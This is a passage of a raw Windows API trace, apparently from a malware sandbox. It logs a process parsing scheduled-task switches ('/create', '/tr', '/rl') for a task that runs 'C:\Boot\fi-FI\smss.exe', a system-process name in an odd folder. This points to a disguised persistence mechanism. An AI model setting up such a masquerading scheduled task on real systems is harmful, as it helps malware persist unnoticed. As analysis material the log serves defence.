(lpString="|tr|") returned 4 [0074.783] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0074.783] SetLastError (dwErrCode=0x490) [0074.783] lstrlenW (lpString="tr") returned 2 [0074.783] lstrlenW (lpString="tr") returned 2 [0074.783] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.783] lstrlenW (lpString="tr") returned 2 [0074.783] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.783] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.784] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.784] lstrlenW (lpString="|tr|") returned 4 [0074.784] lstrlenW (lpString="|tr|") returned 4 [0074.784] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0074.784] SetLastError (dwErrCode=0x0) [0074.784] SetLastError (dwErrCode=0x0) [0074.784] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.784] lstrlenW (lpString="-/") returned 2 [0074.784] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.784] SetLastError (dwErrCode=0x490) [0074.784] SetLastError (dwErrCode=0x490) [0074.784] SetLastError (dwErrCode=0x0) [0074.784] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.784] StrChrIW (lpStart="'C:\\Boot\\fi-FI\\smss.exe'", wMatch=0x3a) returned=":\\Boot\\fi-FI\\smss.exe'" [0074.784] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.784] _memicmp (_Buf1=0x2ed2f0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.784] _memicmp (_Buf1=0x2ee4e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.784] SetLastError (dwErrCode=0x7a) [0074.784] SetLastError (dwErrCode=0x0) [0074.784] SetLastError (dwErrCode=0x0) [0074.784] lstrlenW (lpString="'C") returned 2 [0074.784] lstrlenW (lpString="-/") returned 2 [0074.784] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0074.784] SetLastError (dwErrCode=0x490) [0074.784] SetLastError (dwErrCode=0x490) [0074.784] SetLastError (dwErrCode=0x0) [0074.784] _memicmp (_Buf1=0x2ee540, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.784] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.784] GetProcessHeap () returned 0x2d0000 [0074.784] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee560) returned 1 [0074.784] GetProcessHeap () returned 0x2d0000 [0074.784] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ee560, Size=0x32) returned 0x2e7c30 [0074.784] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.785] lstrlenW (lpString=" \x09") returned 2 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0074.785] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0074.785] GetLastError () returned 0x0 [0074.785] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.785] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0074.785] SetLastError (dwErrCode=0x0) [0074.785] SetLastError (dwErrCode=0x0) [0074.785] lstrlenW (lpString="/rl") returned 3 [0074.785] lstrlenW (lpString="-/") returned 2 [0074.785] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.786] lstrlenW (lpString="create") returned 6 [0074.786] lstrlenW (lpString="create") returned 6 [0074.786] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.786] lstrlenW (lpString="rl") returned 2 [0074.786] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.786] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.786] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.786] lstrlenW (lpString="|create|") returned 8 [0074.786] lstrlenW (lpString="|rl|") returned 4 [0074.786] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0074.786] SetLastError (dwErrCode=0x490) [0074.786] lstrlenW (lpString="?") returned 1 [0074.786] lstrlenW (lpString="?") returned 1 [0074.786] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.786] lstrlenW (lpString="rl") returned 2 [0074.786] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.786] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|?|") returned 3 [0074.786] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.786] lstrlenW (lpString="|?|") returned 3 [0074.786] lstrlenW (lpString="|rl|") returned 4 [0074.786] SetLastError (dwErrCode=0x490) [0074.786] lstrlenW (lpString="s") returned 1 [0074.786] lstrlenW (lpString="s") returned 1 [0074.786] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.786] lstrlenW (lpString="rl") returned 2 [0074.786] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.786] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|s|") returned 3 [0074.786] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.786] lstrlenW (lpString="|s|") returned 3 [0074.787] lstrlenW (lpString="|rl|") returned 4 [0074.787] SetLastError (dwErrCode=0x490) [0074.787] lstrlenW (lpString="u") returned 1 [0074.787] lstrlenW (lpString="u") returned 1 [0074.787] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.787] lstrlenW (lpString="rl") returned 2 [0074.787] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.787] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|u|") returned 3 [0074.787] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.787] lstrlenW (lpString="|u|") returned 3 [0074.787] lstrlenW (lpString="|rl|") returned 4 [0074.787] SetLastError (dwErrCode=0x490) [0074.787] lstrlenW (lpString="p") returned 1 [0074.787] lstrlenW (lpString="p") returned 1 [0074.787] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.787] lstrlenW (lpString="rl") returned 2 [0074.787] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.787] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|p|") returned 3 [0074.787] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.787] lstrlenW (lpString="|p|") returned 3 [0074.787] lstrlenW (lpString="|rl|") returned 4 [0074.787] SetLastError (dwErrCode=0x490) [0074.787] lstrlenW (lpString="ru") returned 2 [0074.787] lstrlenW (lpString="ru") returned 2 [0074.787] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.787] lstrlenW (lpString="rl") returned 2 [0074.787] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.787] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ru|") returned 4 [0074.787] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.787] lstrlenW (lpString="|ru|") returned 4 [0074.788] lstrlenW (lpString="|rl|") returned 4 [0074.788] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0074.788] SetLastError (dwErrCode=0x490) [0074.788] lstrlenW (lpString="rp") returned 2 [0074.788] lstrlenW (lpString="rp") returned 2 [0074.788] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.788] lstrlenW (lpString="rl") returned 2 [0074.788] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.788] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rp|") returned 4 [0074.788] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.788] lstrlenW (lpString="|rp|") returned 4 [0074.788] lstrlenW (lpString="|rl|") returned 4 [0074.788] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0074.788] SetLastError (dwErrCode=0x490) [0074.788] lstrlenW (lpString="sc") returned 2 [0074.788] lstrlenW (lpString="sc") returned 2 [0074.788] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.788] lstrlenW (lpString="rl") returned 2 [0074.788] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.788] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.788] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.788] lstrlenW (lpString="|sc|") returned 4 [0074.788] lstrlenW (lpString="|rl|") returned 4 [0074.788] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0074.788] SetLastError (dwErrCode=0x490) [0074.788] lstrlenW (lpString="mo") returned 2 [0074.788] lstrlenW (lpString="mo") returned 2 [0074.788] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.788] lstrlenW (lpString="rl") returned 2 [0074.788] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.789] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|mo|") returned 4 [0074.789] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.789] lstrlenW (lpString="|mo|") returned 4 [0074.789] lstrlenW (lpString="|rl|") returned 4 [0074.789] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0074.789] SetLastError (dwErrCode=0x490) [0074.789] lstrlenW (lpString="d") returned 1 [0074.789] lstrlenW (lpString="d") returned 1 [0074.789] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.789] lstrlenW (lpString="rl") returned 2 [0074.789] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.789] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|d|") returned 3 [0074.789] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.789] lstrlenW (lpString="|d|") returned 3 [0074.789] lstrlenW (lpString="|rl|") returned 4 [0074.789] SetLastError (dwErrCode=0x490) [0074.789] lstrlenW (lpString="m") returned 1 [0074.789] lstrlenW (lpString="m") returned 1 [0074.789] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.789] lstrlenW (lpString="rl") returned 2 [0074.789] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.789] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|m|") returned 3 [0074.789] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.789] lstrlenW (lpString="|m|") returned 3 [0074.789] lstrlenW (lpString="|rl|") returned 4 [0074.789] SetLastError (dwErrCode=0x490) [0074.789] lstrlenW (lpString="i") returned 1 [0074.789] lstrlenW (lpString="i") returned 1 [0074.789] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.789] lstrlenW (lpString="rl") returned 2 [0074.789] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.790] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|i|") returned 3 [0074.790] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.790] lstrlenW (lpString="|i|") returned 3 [0074.790] lstrlenW (lpString="|rl|") returned 4 [0074.790] SetLastError (dwErrCode=0x490) [0074.790] lstrlenW (lpString="tn") returned 2 [0074.790] lstrlenW (lpString="tn") returned 2 [0074.790] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.790] lstrlenW (lpString="rl") returned 2 [0074.790] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.790] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.790] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.790] lstrlenW (lpString="|tn|") returned 4 [0074.790] lstrlenW (lpString="|rl|") returned 4 [0074.790] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0074.790] SetLastError (dwErrCode=0x490) [0074.790] lstrlenW (lpString="tr") returned 2 [0074.790] lstrlenW (lpString="tr") returned 2 [0074.790] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.790] lstrlenW (lpString="rl") returned 2 [0074.790] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.790] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.790] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.790] lstrlenW (lpString="|tr|") returned 4 [0074.790] lstrlenW (lpString="|rl|") returned 4 [0074.790] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0074.790] SetLastError (dwErrCode=0x490) [0074.790] lstrlenW (lpString="st") returned 2 [0074.790] lstrlenW (lpString="st") returned 2 [0074.790] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.790] lstrlenW (lpString="rl") returned 2 [0074.791] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.791] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|st|") returned 4 [0074.791] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.791] lstrlenW (lpString="|st|") returned 4 [0074.791] lstrlenW (lpString="|rl|") returned 4 [0074.791] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0074.791] SetLastError (dwErrCode=0x490) [0074.791] lstrlenW (lpString="sd") returned 2 [0074.791] lstrlenW (lpString="sd") returned 2 [0074.791] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.791] lstrlenW (lpString="rl") returned 2 [0074.791] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.791] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sd|") returned 4 [0074.791] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.791] lstrlenW (lpString="|sd|") returned 4 [0074.791] lstrlenW (lpString="|rl|") returned 4 [0074.791] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0074.791] SetLastError (dwErrCode=0x490) [0074.791] lstrlenW (lpString="ed") returned 2 [0074.791] lstrlenW (lpString="ed") returned 2 [0074.791] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.791] lstrlenW (lpString="rl") returned 2 [0074.791] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.791] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ed|") returned 4 [0074.791] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.791] lstrlenW (lpString="|ed|") returned 4 [0074.791] lstrlenW (lpString="|rl|") returned 4 [0074.791] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0074.791] SetLastError (dwErrCode=0x490) [0074.791] lstrlenW (lpString="it") returned 2 [0074.792] lstrlenW (lpString="it") returned 2 [0074.792] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.792] lstrlenW (lpString="rl") returned 2 [0074.792] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.792] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|it|") returned 4 [0074.792] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.792] lstrlenW (lpString="|it|") returned 4 [0074.792] lstrlenW (lpString="|rl|") returned 4 [0074.792] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0074.792] SetLastError (dwErrCode=0x490) [0074.792] lstrlenW (lpString="et") returned 2 [0074.792] lstrlenW (lpString="et") returned 2 [0074.792] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.792] lstrlenW (lpString="rl") returned 2 [0074.792] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.792] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|et|") returned 4 [0074.792] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.792] lstrlenW (lpString="|et|") returned 4 [0074.792] lstrlenW (lpString="|rl|") returned 4 [0074.792] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0074.792] SetLastError (dwErrCode=0x490) [0074.792] lstrlenW (lpString="k") returned 1 [0074.792] lstrlenW (lpString="k") returned 1 [0074.792] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.792] lstrlenW (lpString="rl") returned 2 [0074.793] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.793] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|k|") returned 3 [0074.793] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.793] lstrlenW (lpString="|k|") returned 3 [0074.793] lstrlenW (lpString="|rl|") returned 4 [0074.793] SetLastError (dwErrCode=0x490) [0074.793] lstrlenW (lpString="du") returned 2 [0074.793] lstrlenW (lpString="du") returned 2 [0074.793] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.793] lstrlenW (lpString="rl") returned 2 [0074.793] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.793] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|du|") returned 4 [0074.793] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.793] lstrlenW (lpString="|du|") returned 4 [0074.793] lstrlenW (lpString="|rl|") returned 4 [0074.793] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0074.793] SetLastError (dwErrCode=0x490) [0074.793] lstrlenW (lpString="ri") returned 2 [0074.793] lstrlenW (lpString="ri") returned 2 [0074.793] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.793] lstrlenW (lpString="rl") returned 2 [0074.793] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.793] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ri|") returned 4 [0074.793] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.793] lstrlenW (lpString="|ri|") returned 4 [0074.793] lstrlenW (lpString="|rl|") returned 4 [0074.794] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0074.794] SetLastError (dwErrCode=0x490) [0074.794] lstrlenW (lpString="z") returned 1 [0074.794] lstrlenW (lpString="z") returned 1 [0074.794] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.794] lstrlenW (lpString="rl") returned 2 [0074.794] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.794] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|z|") returned 3 [0074.794] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.794] lstrlenW (lpString="|z|") returned 3 [0074.794] lstrlenW (lpString="|rl|") returned 4 [0074.794] SetLastError (dwErrCode=0x490) [0074.794] lstrlenW (lpString="f") returned 1 [0074.794] lstrlenW (lpString="f") returned 1 [0074.794] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.822] lstrlenW (lpString="rl") returned 2 [0074.822] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.822] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.822] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.822] lstrlenW (lpString="|f|") returned 3 [0074.822] lstrlenW (lpString="|rl|") returned 4 [0074.822] SetLastError (dwErrCode=0x490) [0074.822] lstrlenW (lpString="v1") returned 2 [0074.822] lstrlenW (lpString="v1") returned 2 [0074.822] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.822] lstrlenW (lpString="rl") returned 2 [0074.822] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.822] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|v1|") returned 4 [0074.822] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.822] lstrlenW (lpString="|v1|") returned 4 [0074.823] lstrlenW (lpString="|rl|") returned 4 [0074.823] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0074.823] SetLastError (dwErrCode=0x490) [0074.823] lstrlenW (lpString="xml") returned 3 [0074.823] lstrlenW (lpString="xml") returned 3 [0074.823] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.823] lstrlenW (lpString="rl") returned 2 [0074.823] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.823] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|xml|") returned 5 [0074.823] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.823] lstrlenW (lpString="|xml|") returned 5 [0074.823] lstrlenW (lpString="|rl|") returned 4 [0074.823] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0074.823] SetLastError (dwErrCode=0x490) [0074.823] lstrlenW (lpString="ec") returned 2 [0074.823] lstrlenW (lpString="ec") returned 2 [0074.823] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.823] lstrlenW (lpString="rl") returned 2 [0074.823] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.823] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ec|") returned 4 [0074.823] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.823] lstrlenW (lpString="|ec|") returned 4 [0074.823] lstrlenW (lpString="|rl|") returned 4 [0074.823] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0074.823] SetLastError (dwErrCode=0x490) [0074.823] lstrlenW (lpString="rl") returned 2 [0074.823] lstrlenW (lpString="rl") returned 2 